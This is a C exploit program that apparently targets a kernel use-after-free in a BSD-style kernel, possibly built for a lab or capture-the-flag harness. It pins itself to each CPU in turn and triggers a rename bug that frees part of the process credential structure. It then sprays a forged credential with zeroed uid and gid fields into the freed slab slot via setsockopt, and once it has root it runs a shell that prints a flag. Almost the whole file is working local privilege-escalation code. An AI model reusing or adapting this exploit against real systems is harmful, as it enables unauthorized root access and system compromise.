/*
 * DF-0783 Primitive Test v2 — with CPU pinning to win the slab race.
 *
 * Strategy: pin to each CPU (0..N-1), trigger rename + setsockopt, check uid.
 * The slab allocator's per-CPU zones mean we need rename+setsockopt on the
 * SAME CPU that owns maxx's ucred zone. Pinning ensures this.
 *
 * For each CPU:
 *   1. lwp_setaffinity(0, 0, {cpu}) — pin self
 *   2. fork helper to read ucred address (after the pin, to ensure fresh read)
 *   3. wait for go_flag (root mounts image with correct X)
 *   4. rename + setsockopt
 *   5. check uid
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/cpumask.h>

typedef unsigned long long u64;
typedef unsigned int       u32;
typedef unsigned short     u16;
typedef unsigned char      u8;

#define UCREDSIZE 192

/* lwp_setaffinity(pid, tid, mask) — syscall 544 */
#define SYS_lwp_setaffinity 544
extern int syscall(int, ...);

static void pin_cpu(int cpu) {
    cpumask_t mask;
    memset(&mask, 0, sizeof(mask));
    mask.ary[0] = (1ULL << cpu);
    /* pid=0 (self), tid=0 (self), mask */
    int rc = syscall(SYS_lwp_setaffinity, 0, 0, &mask);
    fprintf(stderr, "[*] pinned to cpu %d (rc=%d errno=%d)\n", cpu, rc, errno);
}

int main(int argc, char **argv) {
    char mnt[1024]; char src[4096], dst[4096];
    char dump[64];
    u64 ucred_addr = 0;
    u8 before[UCREDSIZE], after[UCREDSIZE];
    u8 forged[UCREDSIZE];
    int i, attempt, cpu, s, rc, dfd;

    if (argc != 2) { fprintf(stderr, "usage: %s <mnt>\n", argv[0]); return 2; }
    snprintf(mnt, sizeof(mnt), "%s", argv[1]);
    snprintf(src, sizeof(src), "%s/d1/sub", mnt);
    snprintf(dst, sizeof(dst), "%s/d2/sub", mnt);

    /* Read ucred (no pinning yet — ucred addr is process-global). */
    snprintf(dump, sizeof(dump), "/tmp/df0783_d.XXXXXX");
    int tfd = mkstemp(dump); if (tfd >= 0) close(tfd);
    pid_t pid = fork();
    if (pid == 0) {
        char p[16]; snprintf(p, sizeof(p), "%d", getppid());
        execl("/usr/local/sbin/ucred_helper", "ucred_helper", p, dump, NULL);
        _exit(127);
    }
    int st; waitpid(pid, &st, 0);
    dfd = open(dump, O_RDONLY);
    if (dfd < 0 || read(dfd, &ucred_addr, 8) != 8 || read(dfd, before, UCREDSIZE) != UCREDSIZE) {
        perror("read dump"); return 1;
    }
    close(dfd); unlink(dump);

    /* Publish addr for orchestration. */
    FILE *af = fopen("/tmp/ucred_addr_for_orch", "w");
    if (af) { fprintf(af, "0x%llx\n", (unsigned long long)ucred_addr); fclose(af); }
    fprintf(stderr, "[*] ucred=0x%llx uid=%u\n", (unsigned long long)ucred_addr,
            *(u32*)(before+64));

    /* Build forged ucred: copy + zero uids/gids. */
    memcpy(forged, before, UCREDSIZE);
    *(u32*)(forged+64)   = 0;  /* cr_uid */
    *(u32*)(forged+160)  = 0;  /* cr_ruid */
    *(u32*)(forged+164)  = 0;  /* cr_svuid */
    *(u32*)(forged+168)  = 0;  /* cr_rgid */
    *(u32*)(forged+172)  = 0;  /* cr_svgid */
    *(u16*)(forged+68)   = 1;  /* cr_ngroups */
    *(u32*)(forged+72)   = 0;  /* cr_groups[0] */
    memset(forged+76, 0, 16*4-4);

    /* Wait for go_flag. */
    fprintf(stderr, "[*] waiting for go_flag...\n");
    for (i = 0; i < 120; i++) {
        if (access("/tmp/go_flag", F_OK) == 0) { unlink("/tmp/go_flag"); break; }
        sleep(1);
    }

    s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    /* Try each CPU. */
    int ncpus = 6;
    for (cpu = 0; cpu < ncpus; cpu++) {
        pin_cpu(cpu);
        usleep(50000);  /* let scheduler settle */

        for (attempt = 0; attempt < 2; attempt++) {
            fprintf(stderr, "\n=== cpu %d attempt %d ===\n", cpu, attempt);
            fprintf(stderr, "[*] pre uid=%d\n", getuid());

            rc = rename(src, dst);
            fprintf(stderr, "[*] rename rc=%d errno=%d\n", rc, errno);

            /* IMMEDIATELY realloc. */
            rc = setsockopt(s, SOL_SOCKET, SO_RCVBUF, forged, sizeof(forged));
            fprintf(stderr, "[*] setsockopt rc=%d errno=%d\n", rc, errno);

            if (getuid() == 0 || geteuid() == 0) {
                fprintf(stderr, "[!!!] ROOTED via cpu %d\n", cpu);
                fflush(stderr);
                printf("[!!!] ROOTED: uid=0 (cpu=%d)\n", cpu);
                fflush(stdout);
                execl("/bin/sh", "sh", "-c",
                      "id; echo FLAG_DF0783_ROOTED; echo FLAG_END", NULL);
                _exit(0);
            }

            /* Rename back if possible. */
            rc = rename(dst, src);
            if (rc != 0) {
                fprintf(stderr, "[!] rename-back failed: %s\n", strerror(errno));
                /* The rename-back also triggers the bug (frees ucred+56 again).
                 * Double-free on noinv: creates self-cycle. To avoid, we break. */
                break;
            }
        }
    }

    /* Final diagnostic. */
    snprintf(dump, sizeof(dump), "/tmp/df0783_final.XXXXXX");
    tfd = mkstemp(dump); if (tfd >= 0) close(tfd);
    pid = fork();
    if (pid == 0) {
        char p[16]; snprintf(p, sizeof(p), "%d", getppid());
        execl("/usr/local/sbin/ucred_helper", "ucred_helper", p, dump, NULL);
        _exit(127);
    }
    waitpid(pid, &st, 0);
    dfd = open(dump, O_RDONLY);
    if (dfd >= 0) {
        u64 fa = 0;
        read(dfd, &fa, 8);
        read(dfd, after, UCREDSIZE);
        close(dfd);
        fprintf(stderr, "\n=== FINAL ===\n");
        fprintf(stderr, "ucred=0x%llx uid=%u ngroups=%u\n",
                (unsigned long long)fa, *(u32*)(after+64), *(u16*)(after+68));
    }
    unlink(dump);

    fprintf(stderr, "[*] final getuid=%d\n", getuid());
    return 0;
}